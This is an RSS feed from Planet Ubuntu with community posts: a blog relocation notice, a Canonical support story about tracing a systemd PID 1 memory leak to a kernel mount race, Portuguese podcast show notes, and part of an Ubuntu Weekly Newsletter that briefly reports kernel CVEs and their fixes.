<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Planet Ubuntu</title>
    <link>https://ubuntu-community-team.github.io/terra/</link>
    <description>Fresh posts from the Planet Ubuntu</description>
    <language>en</language>
    <generator>json-to-rss (GitHub Actions)</generator>
    <lastBuildDate>Tue, 21 Jul 2026 02:53:18 GMT</lastBuildDate>
    <ttl>60</ttl>
    <atom:link href="https://ubuntu-community-team.github.io/terra//feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>New Blog</title>
      <link>http://bobthegnome.blogspot.com/2026/07/new-blog.html</link>
      <guid isPermaLink="true">http://bobthegnome.blogspot.com/2026/07/new-blog.html</guid>
      <pubDate>Sun, 19 Jul 2026 20:18:23 GMT</pubDate>
      <description><![CDATA[<p>In an attempt to encourage myself to post more I have created a new blog <a href="https://robert-ancell.github.io/">Thinking Open</a>. If you want to hear my thoughts on Open Source, Ubuntu and Flutter then come on over! I'll keep Bob's development blog here as an archive but there will be no more posts.</p><p>Haere rā!</p>]]></description>
      <source url="http://bobthegnome.blogspot.com/feeds/posts/default">Robert Ancell</source>
    </item>
    <item>
      <title>Tracing a memory leak bug in PID 1 and contributing an upstream fix: a Linux support story</title>
      <link>https://ubuntu.com//blog/fixing-memory-bug</link>
      <guid isPermaLink="true">https://ubuntu.com//blog/fixing-memory-bug</guid>
      <pubDate>Fri, 17 Jul 2026 08:04:51 GMT</pubDate>
      <description><![CDATA[<p>Some memory leaks are straightforward to detect. A process allocates memory, forgets to free it, and grows until something breaks. This was not that kind of leak.</p>
<p>This is the story of how Canonical Support helped a global retail organization trace the cause for an unusual memory leak originating in PID 1, the very first process started by the kernel during the system boot sequence. The memory footprint was 10 times higher than expected. By investigating the issue across three separate system layers – a misconfigured storage orchestrator, a kernel race condition, and glibc’s allocator – our team was able to identify the source and fast-track a patch. </p>
<h2 class="wp-block-heading">The symptom that made no sense</h2>
<p>The customer was the innovation and engineering arm of a global retail company. They were responsible for driving the company’s retail transformation –  operating a fleet of servers running as part of a Ceph storage cluster. Across several of these cluster nodes, they began observing a pattern that made no immediate sense: <code>/sbin/init</code> (a symlink to systemd, which was running as PID 1) was consuming over 50% of available system memory. On servers with 125 GB of RAM, that meant PID 1 alone was holding approximately 70 GB, when only 8 GB were expected. The systems were experiencing out-of-memory kills, with the kernel forcibly terminating processes to free up available memory to survive.</p>
<p>Nothing in the obvious diagnostic places explained it. Memory consumption continued to grow, and was never released. The investigation didn’t point to any obvious application-level cause. The customer had ruled out the workloads running on the servers as being the issue. The problem was somewhere deeper, below the application layer.</p>
<h2 class="wp-block-heading">Starting the investigation: getting the right artifact</h2>
<p>The support team at Canonical’s first move was to request sos-reports from the affected nodes, the standard starting point for system-level investigation. But sos-report output, comprehensive as it is, didn’t contain anything that explained a 70 GB footprint on PID 1. The next step was more direct: the engineer requested a core dump of PID 1 itself, generated with gcore 1.</p>
<p>This is not a routine ask. Generating a core dump of the init process (PID 1) on a running production system is the technical equivalent of performing open-heart surgery while the patient is running a marathon. PID 1 is not just any process; it is the root of the entire user-space ecosystem. If it stumbles, the whole system collapses. Because the resulting file is massive – In this case the core dump compressed from 70 GiB to less than 10 GiB, a major red flag that there was significant repetition in the memory of the process –, transferring, downloading, and analyzing it can significantly delay the start of troubleshooting, and the investigation itself can take an unpredictable amount of time. The customer uploaded it, and that artifact is what cracked the case open.</p>
<h2 class="wp-block-heading">The diagnostic leap: from memory to mounts</h2>
<p>Analyzing the core dump, the Canonical engineer could see directly what was occupying PID 1’s memory. The footprint was tied to mount table entries. Specifically, entries from runs of a ceph-volume Docker container. The mount table, which systemd maintains and reparses every time changes are made, had grown to millions of entries.</p>
<p>The behavior of systemd here is by design: it watches <code>/proc/self/mountinfo</code> and reparses the full table on every change. Under normal conditions, reparsing is not an issue, but because the table was now very large, continuously regenerating it caused serious issues. Each time systemd parsed it, glibc’s allocator retained the memory rather than returning it to the kernel. The memory accumulated but was never freed.</p>
<p>That explained the mechanism, but it didn’t yet explain why the mount table had grown so large, or why ceph-volume containers were running so frequently.</p>
<h2 class="wp-block-heading">The second leap: a silent failure nobody knew about</h2>
<p>This is where the investigation crossed layers.</p>
<p>Tracing the frequency of ceph-volume container activity, the engineer identified the actual source: a cephadm process – part of the Ceph orchestration layer – was repeatedly attempting to “zap” (a destructive operation that wipes all data and metadata from a disk to reset it to a clean state) an OSD (Object Storage Daemon) that no longer existed. Because there was no Logical Volume associated with it, the operation failed every time. And every time it failed, it retried. The ceph-volume Docker container was spinning up and tearing down in a continuous loop.</p>
<p>Nobody had flagged this because the orchestration layer in Ceph was silently failing, and the only visible symptom, the one that brought the customer to Canonical Support, was 70 GB of memory consumed by PID 1 on nodes that had nothing obviously wrong with them.</p>
<p>Stopping the loop was the workaround. Once cephadm was corrected and the repeated zap attempts ceased, the mount/unmount thrashing stopped, the race condition stopped triggering, and memory usage stabilized. The customer confirmed that the correction resolved the immediate problem.</p>
<p>Once a workaround was implemented, the Canonical team was able to shift their attention to finding a permanent fix. </p>
<h2 class="wp-block-heading">From diagnosis to upstream</h2>
<p>Canonical’s support engineers traced the bug to the upstream code and regularly engaged with  the open source community to implement a fix that extended beyond the immediate customer. By providing Linux kernel maintainers with a fully characterized bug and a verified trigger, they secured a resolution that benefited the entire open source ecosystem.</p>
<p>By shrinking the problem to a minimal reproducer, mounting and unmounting a tmpfs in a tight loop, the team isolated the precise, reproducible mechanism: a kernel race condition. This churn caused mount table entries to intermittently spike to millions of lines, triggering continuous systemd reparsing and glibc memory retention, which resulted in the 70 GB footprint on PID 1. </p>
<p>The patch was merged into the mainline kernel. After passing through the <a href="https://ubuntu.com/project/docs/SRU/stable-release-updates/">Stable Release Update (SRU)</a> process, the fix landed in several Ubuntu kernel releases.</p>
<h2 class="wp-block-heading">Why this case stands out</h2>
<p>What looked like a  memory leak wasn’t quite the whole story. While the memory was being properly freed by systemd and tracked by glibc, it became unusable to the rest of the system, effectively starving the node. The real issue was that a silent misconfiguration in a storage orchestration layer, cephadm looping on a non-existent OSD, was the trigger for a kernel-level race condition that manifested as an inexplicably large footprint. No single layer told the full story: </p>
<ul>
<li>The sos-report pointed toward the symptom. </li>
<li>The core dump identified the mechanism. </li>
<li>Tracing the container activity identified the trigger. Only then was there enough precision to take the problem upstream.</li>
</ul>
<p>That chain, from production symptom to cross-layer diagnosis to mainline kernel patch, is what enterprise Linux support looks like when the problem isn’t immediately obvious and doesn’t fit a known category.</p>
<p>If you want to understand what support from Canonical can bring to complex infrastructure problems, <a href="https://ubuntu.com/support">visit our support page</a>, or, <a href="https://ubuntu.com/support/contact-us">get in touch</a>.</p>]]></description>
      <source url="https://ubuntu.com/blog/feed/">Ubuntu Blog</source>
    </item>
    <item>
      <title>E383 Gambiarra Do Trovão Armada Em 64</title>
      <link>https://podcastubuntuportugal.org/e383/</link>
      <guid isPermaLink="true">https://podcastubuntuportugal.org/e383/</guid>
      <pubDate>Thu, 16 Jul 2026 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>Há um mês que não gravávamos e por isso trazemos muitas aventuras: o novo Thundermail, e-readers artesanais, UPS que fritam e fazem tostas mistas, dedos cortados, comutadores alucinados, câmaras virtuais com Pipewire e gambiarras manhosas, sessões de desencaixotamento («unboxing») em audio, actualizações extemporâneas de Ubuntu e ainda: mais fanáticos convertidos ao Ubuntu Touch, porque é que o Android não presta, boas notícias de Nextcloud em Ubuntu Touch, Steam em Arm64, Rust Coreutils, novidades de Agenda e opiniões polémicas sobre centros de dados, que quase davam porrada de criar bicho.</p>
<p>Já sabem: oiçam, subscrevam e partilhem!</p>
<ul>
<li>Exemplo de Caixa Negra de aviação: <a href="https://en.wikipedia.org/wiki/Flight_recorder#/media/File:2002-dmuseum-luftfahrt-014-650.jpg">https://en.wikipedia.org/wiki/Flight_recorder#/media/File:2002-dmuseum-luftfahrt-014-650.jpg</a></li>
<li>Thundermail, da Mozilla: <a href="https://www.tb.pro/">https://www.tb.pro/</a></li>
<li>Office Hours da Mozilla, sobre o Thundermail: <a href="https://blog.thunderbird.net/2026/07/community-office-hours-a-thundermail-update/">https://blog.thunderbird.net/2026/07/community-office-hours-a-thundermail-update/</a></li>
<li>Proton Mail: <a href="https://protonmail.ch">https://protonmail.ch</a></li>
<li>Qpwgraph: <a href="https://github.com/rncbc/qpwgraph">https://github.com/rncbc/qpwgraph</a></li>
<li>VDO Ninja: <a href="https://vdo.ninja/">https://vdo.ninja/</a></li>
<li>Ubuntu Studio: <a href="https://ubuntustudio.org/">https://ubuntustudio.org/</a></li>
<li>Pipewire: <a href="https://pipewire.org/">https://pipewire.org/</a></li>
<li>Pulse Audio: <a href="https://www.freedesktop.org/wiki/Software/PulseAudio/">https://www.freedesktop.org/wiki/Software/PulseAudio/</a></li>
<li>Jack: <a href="https://jackaudio.org/">https://jackaudio.org/</a></li>
<li>Alsa: <a href="https://www.alsa-project.org/wiki/Main_Page">https://www.alsa-project.org/wiki/Main_Page</a></li>
<li>Mousse de chocolate Alsa: <a href="https://www.youtube.com/watch?v=injYEz44c_o">https://www.youtube.com/watch?v=injYEz44c_o</a></li>
<li>Pudins Alsa: <a href="https://www.youtube.com/watch?v=p0cJP01njmk">https://www.youtube.com/watch?v=p0cJP01njmk</a></li>
<li>As aplicações de Ubuntu Touch para NextCloud, de Tobias Johansson: <a href="https://open-store.io/?search=publisher%3ATobias%20Johansson">https://open-store.io/?search=publisher%3ATobias%20Johansson</a></li>
<li>Mini UPS Eaton: <a href="https://mauser.pt/076-0569/eaton-3s-mini-ups-compacta-36w-c-4-tensoes-de-saida-dc-9v-12v-15v-19v">https://mauser.pt/076-0569/eaton-3s-mini-ups-compacta-36w-c-4-tensoes-de-saida-dc-9v-12v-15v-19v</a></li>
<li>Shelly Power Strip: <a href="https://mauser.pt/095-7178/shelly-power-strip-4-gen4-bloco-de-4-tomadas-inteligentes-wifi-bt-zigbee-matter-c-botoes-e-cabo-de-1-5m-branco">https://mauser.pt/095-7178/shelly-power-strip-4-gen4-bloco-de-4-tomadas-inteligentes-wifi-bt-zigbee-matter-c-botoes-e-cabo-de-1-5m-branco</a></li>
<li>Primeira imagem de snapshot do Ubuntu 26.10 está disponível: <a href="https://www.phoronix.com/news/Ubuntu-26.10-Snapshot-1">https://www.phoronix.com/news/Ubuntu-26.10-Snapshot-1</a></li>
<li>Rescuezilla baseado em 26.04: <a href="https://9to5linux.com/rescuezilla-2-6-2-system-recovery-live-iso-adds-ubuntu-26-04-lts-support">https://9to5linux.com/rescuezilla-2-6-2-system-recovery-live-iso-adds-ubuntu-26-04-lts-support</a></li>
<li>Snap do Steam para arm64 agora é estável: <a href="https://discourse.ubuntu.com/t/canonical-s-steam-snap-is-now-stable-on-arm64/83664/3">https://discourse.ubuntu.com/t/canonical-s-steam-snap-is-now-stable-on-arm64/83664/3</a></li>
<li>Rusc coreutils 0.9 com segurança melhorada e com 90.4% de testes bem sucedidos: <a href="https://www.phoronix.com/news/Rust-Coreutils-0.9">https://www.phoronix.com/news/Rust-Coreutils-0.9</a></li>
<li>Nick, do Linux Experiment usou Ubuntu Touch durante 30 dias e&hellip; <a href="https://youtu.be/uWWPebWHs8s">https://youtu.be/uWWPebWHs8s</a></li>
<li>1984, Dois Minutos de Ódio: <a href="https://youtu.be/XvGmOZ5T6_Y">https://youtu.be/XvGmOZ5T6_Y</a></li>
<li>«This is The Only Data Center I Want Funded»: <a href="https://media.mstdn.social/media_attachments/files/116/879/964/549/934/556/original/5477bd437f73bc80.jpeg">https://media.mstdn.social/media_attachments/files/116/879/964/549/934/556/original/5477bd437f73bc80.jpeg</a></li>
<li>AI Tools in Society: Impacts on Cognitive Offloading and the Future of Critical Thinking:  <a href="https://www.mdpi.com/2075-4698/15/1/6">https://www.mdpi.com/2075-4698/15/1/6</a></li>
<li>LoCo PT: <a href="https://loco.ubuntu.com/teams/ubuntu-pt/">https://loco.ubuntu.com/teams/ubuntu-pt/</a></li>
<li>Mastodon: <a href="https://masto.pt/@pup">https://masto.pt/@pup</a></li>
<li>Youtube: <a href="https://youtube.com/PodcastUbuntuPortugal">https://youtube.com/PodcastUbuntuPortugal</a></li>
</ul>
<h3 id="atribuição-e-licenças">Atribuição e licenças</h3>
<p>Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo <a href="https://senhorpodcast.pt/">Senhor Podcast</a>.
O website é produzido por Tiago Carrondo e o <a href="https://gitlab.com/podcastubuntuportugal/website">código aberto</a> está licenciado nos termos da <a href="https://gitlab.com/podcastubuntuportugal/website/main/LICENSE">Licença MIT</a>. (<a href="https://creativecommons.org/licenses/by/4.0/)">https://creativecommons.org/licenses/by/4.0/)</a>. A música do genérico é: &ldquo;Won&rsquo;t see it comin&rsquo; (Feat Aequality &amp; N&rsquo;sorte d&rsquo;autruche)&rdquo;, por Alpha Hydrae e está licenciada nos termos da <a href="https://creativecommons.org/publicdomain/zero/1.0/">CC0 1.0 Universal License</a>.
Os separadores de péssima qualidade foram tocados ao vivo e sem rede pelo Miguel, pelo que pedimos desculpa pelos incómodos causados. Os efeitos sonoros têm os seguintes créditos: Happy Holiday 87bpm loop by AudioCoffee &ndash; <a href="https://freesound.org/s/758405/">https://freesound.org/s/758405/</a> &ndash; License: Attribution NonCommercial 4.0; Breaking news intro music by humanoide9000 &ndash; <a href="https://freesound.org/s/760770/">https://freesound.org/s/760770/</a> &ndash; License: Attribution 4.0; Sound Design Trailer by DeVern &ndash; <a href="https://freesound.org/s/554673/">https://freesound.org/s/554673/</a> &ndash; License: Attribution NonCommercial 3.0; Tropicorp Advertisement by code_box &ndash; <a href="https://freesound.org/s/561190/">https://freesound.org/s/561190/</a> &ndash; License: Creative Commons 0.
Este episódio está licenciado nos termos da licença: <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/">Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)</a>, <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode">cujo texto integral pode ser lido aqui</a>. Estamos abertos a licenciar para permitir outros tipos de utilização, <a href="https://podcastubuntuportugal.org/contactos">contactem-nos</a> para validação e autorização.
A arte de episódio foi criada por encomenda pela Shizamura - artista, ilustradora e autora de BD. Podem ficar a conhecer melhor a <a href="https://ciberlandia.pt/@shizamura">Shizamura na Ciberlândia</a> e no <a href="https://sarilho.net/">seu sítio web</a>.</p>]]></description>
      <source url="https://podcastubuntuportugal.org/feed/podcast/index.xml">Podcast Ubuntu Portugal</source>
    </item>
    <item>
      <title>Ubuntu Weekly Newsletter Issue 952</title>
      <link>https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-952/84897</link>
      <guid isPermaLink="true">https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-952/84897</guid>
      <pubDate>Mon, 06 Jul 2026 22:01:53 GMT</pubDate>
      <description><![CDATA[<p></p><div class="lightbox-wrapper"><a class="lightbox" href="https://ubuntucommunity.s3.us-east-2.amazonaws.com/original/3X/d/6/d63398e98cbe354ca8e8a1e00de6c541a45b4a01.png" data-download-href="/uploads/short-url/uyUIYtIeNMaruYP5jnBE03PL4iZ.png?dl=1" title="header"><img src="https://ubuntucommunity.s3.us-east-2.amazonaws.com/original/3X/d/6/d63398e98cbe354ca8e8a1e00de6c541a45b4a01.png" alt="header" data-base62-sha1="uyUIYtIeNMaruYP5jnBE03PL4iZ" width="522" height="111"></a></div><p></p>
<h1><a name="p-220290-ubuntu-weekly-news-1" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-weekly-news-1"></a>Ubuntu Weekly News</h1>
<h2><a name="p-220290-uwn-issue-952-july-5-11-2026-2" class="anchor" href="https://discourse.ubuntu.com#p-220290-uwn-issue-952-july-5-11-2026-2"></a>UWN Issue 952 July 5-11, 2026.</h2>
<p>Welcome to the Ubuntu Weekly Newsletter, Issue 952 for the week of July 5 - 11, 2026.</p>
<h2><a name="p-220290-in-this-issue-3" class="anchor" href="https://discourse.ubuntu.com#p-220290-in-this-issue-3"></a>In this Issue</h2>
<ul>
<li>Ubuntu 25.10 (“Questing Quokka”) reached End of Life on 9 July 2026</li>
<li>Public Exploit Turns 15-Year Linux Kernel Flaw Into 5-Second Root Attack</li>
<li>Google pays $250K for Linux vulnerability allowing guest VM escapes</li>
<li>Welcome New Members and Developers</li>
<li>Ubuntu Stats</li>
<li>Hot in Support</li>
<li>Other Meeting Reports</li>
<li>Upcoming Meetings and Events</li>
<li>Ubuntu Circles! (LoCo) News</li>
<li>Ubuntu @ KDE Akademy 2026</li>
<li>UbuCon Latin America 2026</li>
<li>OpenPrinting News: Opportunity Open Source 4.0 - Call for Proposals extended to end of July</li>
<li>Ubuntu Circles! (LoCo) Events</li>
<li>Workshop 0.9.3 has been released</li>
<li>Run Workshop actions in a CI pipeline</li>
<li>The 2026.06.22 SRU Cycle is started</li>
<li>Call for testing: ubuntu-lint</li>
<li>What Say You</li>
<li>Lubuntu is officially in my .iso roster.</li>
<li>Canonical News</li>
<li>In the Press</li>
<li>In the Blogosphere</li>
<li>In Other News</li>
<li>Featured Audio and Video</li>
<li>Updates and Security for Ubuntu 22.04, 24.04, 25.10, and 26.04</li>
<li>And much more!</li>
</ul>
<h2><a name="p-220290-general-community-news-4" class="anchor" href="https://discourse.ubuntu.com#p-220290-general-community-news-4"></a>General Community News</h2>
<h3><a name="p-220290-ubuntu-2510-questing-quokka-reached-end-of-life-on-9-july-2026-5" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2510-questing-quokka-reached-end-of-life-on-9-july-2026-5"></a>Ubuntu 25.10 (“Questing Quokka”) reached End of Life on 9 July 2026</h3>
<p>Utkarsh Gupta of the Ubuntu Release team has announced the End of Life for Ubuntu 25.10: July 9, 2026. We’re reminded of some facts of this release including when it was released, how to upgrade to Ubuntu 26.04 LTS, and more.</p>
<p><a href="https://discourse.ubuntu.com/t/ubuntu-25-10-questing-quokka-reached-end-of-life-on-9-july-2026/85017">https://discourse.ubuntu.com/t/ubuntu-25-10-questing-quokka-reached-end-of-life-on-9-july-2026/85017</a></p>
<ul>
<li>Ubuntu Studio 25.10 has reached End-Of-Life (EOL) - <a href="https://discourse.ubuntu.com/t/ubuntu-studio-25-10-has-reached-end-of-life-eol/85024">https://discourse.ubuntu.com/t/ubuntu-studio-25-10-has-reached-end-of-life-eol/85024</a></li>
<li>Edubuntu 25.10 has reached End-Of-Life (EOL) - <a href="https://discourse.ubuntu.com/t/edubuntu-25-10-has-reached-end-of-life-eol/85025">https://discourse.ubuntu.com/t/edubuntu-25-10-has-reached-end-of-life-eol/85025</a></li>
</ul>
<h3><a name="p-220290-public-exploit-turns-15-year-linux-kernel-flaw-into-5-second-root-attack-6" class="anchor" href="https://discourse.ubuntu.com#p-220290-public-exploit-turns-15-year-linux-kernel-flaw-into-5-second-root-attack-6"></a>Public Exploit Turns 15-Year Linux Kernel Flaw Into 5-Second Root Attack</h3>
<p>John Bright tells us of a ‘working exploit’ that has existed since 2011, and is now referred to as GhostLock; CVE-2026-43499. We’re told it was discovered by Nebula Security’s VEGA team, given a link to the write up, and told of Google’s kernelCTL bug bounty award for the submission. We’re told a fix has been made, and is slowly rolling out to distributions. A decent discussion of the flaw and its potential risk to our systems is provided, and finally a FAQ.</p>
<p><a href="https://www.techtimes.com/articles/319914/20260708/public-exploit-turns-15-year-linux-kernel-flaw-5-second-root-attack.htm">https://www.techtimes.com/articles/319914/20260708/public-exploit-turns-15-year-linux-kernel-flaw-5-second-root-attack.htm</a></p>
<ul>
<li><a href="https://ubuntu.com/security/CVE-2026-43499" class="inline-onebox">CVE-2026-43499 | Ubuntu</a></li>
<li><a href="https://ubuntu.com/security/CVE-2026-53166" class="inline-onebox">CVE-2026-53166 | Ubuntu</a></li>
</ul>
<h3><a name="p-220290-google-pays-250k-for-linux-vulnerability-allowing-guest-vm-escapes-7" class="anchor" href="https://discourse.ubuntu.com#p-220290-google-pays-250k-for-linux-vulnerability-allowing-guest-vm-escapes-7"></a>Google pays $250K for Linux vulnerability allowing guest VM escapes</h3>
<p>Dan Goodlin talks about two vulnerabilities, namely CVE-2026-53359 (Januscape) and CVE-2026-43499 [GhostLock, see prior article too]. Dan discusses the vulnerabilities and how they can be used to attack our system, Google’s award for discoverers (Hyunwoo Kim &amp; Nebula Security VEGA team), and ends telling us the Linux kernel has been patched, so check our distributions for fixes to apply.</p>
<p><a href="https://arstechnica.com/security/2026/07/high-severity-guest-vm-escape-is-1-of-2-linux-vulnerabilities-to-surface-this-week/">https://arstechnica.com/security/2026/07/high-severity-guest-vm-escape-is-1-of-2-linux-vulnerabilities-to-surface-this-week/</a></p>
<ul>
<li>Januscape vulnerability CVE-2026-53359 mitigations available - <a href="https://ubuntu.com/blog/januscape-linux-vulnerability-mitigations-available" class="inline-onebox">Januscape vulnerability CVE-2026-53359 mitigations available | Ubuntu</a></li>
<li><a href="https://ubuntu.com/security/CVE-2026-53359">https://ubuntu.com/security/CVE-2026-53359</a></li>
</ul>
<h3><a name="p-220290-welcome-new-members-and-developers-8" class="anchor" href="https://discourse.ubuntu.com#p-220290-welcome-new-members-and-developers-8"></a>Welcome New Members and Developers</h3>
<ul>
<li>Core-Developers: Mateus Morais (mateus-morais), Hector Cao (hectorcao), Guilherme Puida (puida), Talha Can Havadar (tchavadar), Charles Turner (charles05) - <a href="https://lists.ubuntu.com/archives/ubuntu-devel/2026-July/043630.html">https://lists.ubuntu.com/archives/ubuntu-devel/2026-July/043630.html</a></li>
</ul>
<p>Congratulations to these contributors!</p>
<h2><a name="p-220290-ubuntu-stats-9" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-stats-9"></a>Ubuntu Stats</h2>
<h3><a name="p-220290-bug-stats-10" class="anchor" href="https://discourse.ubuntu.com#p-220290-bug-stats-10"></a>Bug Stats</h3>
<ul>
<li>Open: 136893 (+63)</li>
<li>Critical: 305 (+1)</li>
<li>Unconfirmed: 72670 (+15)</li>
</ul>
<p>As always, the Bug Squad needs more help. If you want to get started, please see: <a href="https://wiki.ubuntu.com/BugSquad">https://wiki.ubuntu.com/BugSquad</a></p>
<h3><a name="p-220290-translations-11" class="anchor" href="https://discourse.ubuntu.com#p-220290-translations-11"></a>Translations</h3>
<ul>
<li>Swedish: 99.99% (35/1465)</li>
<li>Albanian: 98.85% (4035/6)</li>
<li>Ukrainian: 89.37% (37343/1703)</li>
<li>German: 87.16% (45099/348)</li>
<li>French: 85.78% (49949/6406)</li>
</ul>
<h2><a name="p-220290-hot-in-support-12" class="anchor" href="https://discourse.ubuntu.com#p-220290-hot-in-support-12"></a>Hot in Support</h2>
<h3><a name="p-220290-ubuntu-community-discourse-trending-top-5-threads-13" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-community-discourse-trending-top-5-threads-13"></a>Ubuntu Community Discourse Trending Top 5 Threads</h3>
<ul>
<li>New Lubuntu Installation - /boot/efi partition too small - <a href="https://discourse.ubuntu.com/t/new-lubuntu-installation-boot-efi-partition-too-small/84938">https://discourse.ubuntu.com/t/new-lubuntu-installation-boot-efi-partition-too-small/84938</a></li>
<li>Firmware update? - <a href="https://discourse.ubuntu.com/t/firmware-update/85026">https://discourse.ubuntu.com/t/firmware-update/85026</a></li>
<li>Update manager never popping up - <a href="https://discourse.ubuntu.com/t/update-manager-never-popping-up/85064">https://discourse.ubuntu.com/t/update-manager-never-popping-up/85064</a></li>
<li>Ubuntu-26.04-desktop-amd64 ISO complains that /root not found - <a href="https://discourse.ubuntu.com/t/ubuntu-26-04-desktop-amd64-iso-complains-that-root-not-found/85080">https://discourse.ubuntu.com/t/ubuntu-26-04-desktop-amd64-iso-complains-that-root-not-found/85080</a></li>
<li>How do I specify a GRUB option for Ubuntu 26.04? - <a href="https://discourse.ubuntu.com/t/how-do-i-specify-a-grub-option-for-ubuntu-26-04/85083">https://discourse.ubuntu.com/t/how-do-i-specify-a-grub-option-for-ubuntu-26-04/85083</a></li>
</ul>
<p>Find more support at: <a href="https://discourse.ubuntu.com/c/support-and-help/306">https://discourse.ubuntu.com/c/support-and-help/306</a></p>
<h3><a name="p-220290-ask-ubuntu-top-5-questions-14" class="anchor" href="https://discourse.ubuntu.com#p-220290-ask-ubuntu-top-5-questions-14"></a>Ask Ubuntu Top 5 Questions</h3>
<ul>
<li>Qt applications do not have the expected window decorations - <a href="https://askubuntu.com/questions/1568291/qt-applications-do-not-have-the-expected-window-decorations">https://askubuntu.com/questions/1568291/qt-applications-do-not-have-the-expected-window-decorations</a></li>
<li>Nvidia driver problem on ubuntu 26.04 LTS - <a href="https://askubuntu.com/questions/1568258/nvidia-driver-problem-on-ubuntu-26-04-lts">https://askubuntu.com/questions/1568258/nvidia-driver-problem-on-ubuntu-26-04-lts</a></li>
<li>In App Center how to identify whether an app is packaged as snap or deb - <a href="https://askubuntu.com/questions/1568275/in-app-center-how-to-identify-whether-an-app-is-packaged-as-snap-or-deb">https://askubuntu.com/questions/1568275/in-app-center-how-to-identify-whether-an-app-is-packaged-as-snap-or-deb</a></li>
<li>After the latest software update YouTube doesn’t play videos - <a href="https://askubuntu.com/questions/1568231/after-the-latest-software-update-youtube-doesnt-play-videos">https://askubuntu.com/questions/1568231/after-the-latest-software-update-youtube-doesnt-play-videos</a></li>
<li>How to format DVD-R with equivalent of Windows “Live File System”? - <a href="https://askubuntu.com/questions/1568255/how-to-format-dvd-r-with-equivalent-of-windows-live-file-system">https://askubuntu.com/questions/1568255/how-to-format-dvd-r-with-equivalent-of-windows-live-file-system</a></li>
</ul>
<p>Ask (and answer!) questions at: <a href="https://askubuntu.com/">https://askubuntu.com/</a></p>
<h2><a name="p-220290-other-meeting-reports-15" class="anchor" href="https://discourse.ubuntu.com#p-220290-other-meeting-reports-15"></a>Other Meeting Reports</h2>
<ul>
<li>[daily] Server Triage Reports - <a href="https://discourse.ubuntu.com/c/project/server/17">https://discourse.ubuntu.com/c/project/server/17</a></li>
<li>Ubuntu on ARM: summer ‘26 update - <a href="https://discourse.ubuntu.com/t/ubuntu-on-arm-summer-26-update/84872">https://discourse.ubuntu.com/t/ubuntu-on-arm-summer-26-update/84872</a>
<ul>
<li>Canonical On Making Ubuntu For ARM64 “Truly A First-Class Architecture” - <a href="https://www.phoronix.com/news/Ubuntu-ARM64-2026">https://www.phoronix.com/news/Ubuntu-ARM64-2026</a></li>
<li>Ubuntu emphasizes Arm64 support – and gets Rustier - <a href="https://www.theregister.com/os-platforms/2026/07/09/ubuntu-emphasizes-arm64-support-and-gets-rustier/5268563">https://www.theregister.com/os-platforms/2026/07/09/ubuntu-emphasizes-arm64-support-and-gets-rustier/5268563</a></li>
<li>Ubuntu Accelerates Arm64 Support To Dominate Cloud Infrastructure - <a href="https://streamlinefeed.co.ke/news/ubuntu-accelerates-arm64-support-to-dominate-cloud-infrastructure">https://streamlinefeed.co.ke/news/ubuntu-accelerates-arm64-support-to-dominate-cloud-infrastructure</a></li>
</ul>
</li>
<li>+1 Maintenance Report from 2026-06-29 to 2026-07-03 - <a href="https://discourse.ubuntu.com/t/1-maintenance-report-from-2026-06-29-to-2026-07-03/84895">https://discourse.ubuntu.com/t/1-maintenance-report-from-2026-06-29-to-2026-07-03/84895</a></li>
<li>Foundations Team Updates - 2026-07-09 - <a href="https://discourse.ubuntu.com/t/foundations-team-updates-2026-07-09/84997">https://discourse.ubuntu.com/t/foundations-team-updates-2026-07-09/84997</a></li>
</ul>
<h2><a name="p-220290-upcoming-meetings-and-events-16" class="anchor" href="https://discourse.ubuntu.com#p-220290-upcoming-meetings-and-events-16"></a>Upcoming Meetings and Events</h2>
<ul>
<li>Ubuntu @ DebConf26: Santa Fe, Argentina; Monday, Jul 13 1:00 PM - Saturday, Jul 25 9:00 PM - <a href="https://discourse.ubuntu.com/t/ubuntu-debconf26/77115">https://discourse.ubuntu.com/t/ubuntu-debconf26/77115</a></li>
<li>Starcraft Clinics (1st option): Thursday 16 July, 18:00 - 19:00 - <a href="https://discourse.ubuntu.com/t/starcraft-clinics-1st-option/43649">https://discourse.ubuntu.com/t/starcraft-clinics-1st-option/43649</a> | &lt; <a href="https://meet.google.com/ixc-nucm-hjn">https://meet.google.com/ixc-nucm-hjn</a></li>
<li>Ubuntu HPC weekly community call: Wednesday, 15 July, 4:30 - 5:00 PM - <a href="https://meet.jit.si/Ubuntu-HPC">https://meet.jit.si/Ubuntu-HPC</a> | <a href="https://matrix.to/#/#hpc:ubuntu.com" rel="noopener nofollow ugc">https://matrix.to/#/#hpc:ubuntu.com</a></li>
<li>Lubuntu Weekly Standup: Thursday 16 July, 9:00 - 10:00 PM - <a href="https://matrix.to/#/#lubuntu-devel:ubuntu.com" rel="noopener nofollow ugc">https://matrix.to/#/#lubuntu-devel:ubuntu.com</a> | <a href="https://discourse.ubuntu.com/t/lubuntu-weekly-standup/43699">https://discourse.ubuntu.com/t/lubuntu-weekly-standup/43699</a></li>
<li>Starcraft Clinics (2nd option): Monday 20 July, 14:00 - 14:50 - <a href="https://discourse.ubuntu.com/t/starcraft-clinics-2nd-option/48031">https://discourse.ubuntu.com/t/starcraft-clinics-2nd-option/48031</a> | <a href="https://meet.google.com/ixc-nucm-hjn">https://meet.google.com/ixc-nucm-hjn</a></li>
</ul>
<p>Times shown are UTC unless otherwise specified. For more details and further dates please visit: <a href="https://ubuntu.com/community">https://ubuntu.com/community</a> | <a href="https://discourse.ubuntu.com/upcoming-events">https://discourse.ubuntu.com/upcoming-events</a></p>
<h2><a name="p-220290-ubuntu-circles-loco-news-17" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-circles-loco-news-17"></a>Ubuntu Circles! (LoCo) News</h2>
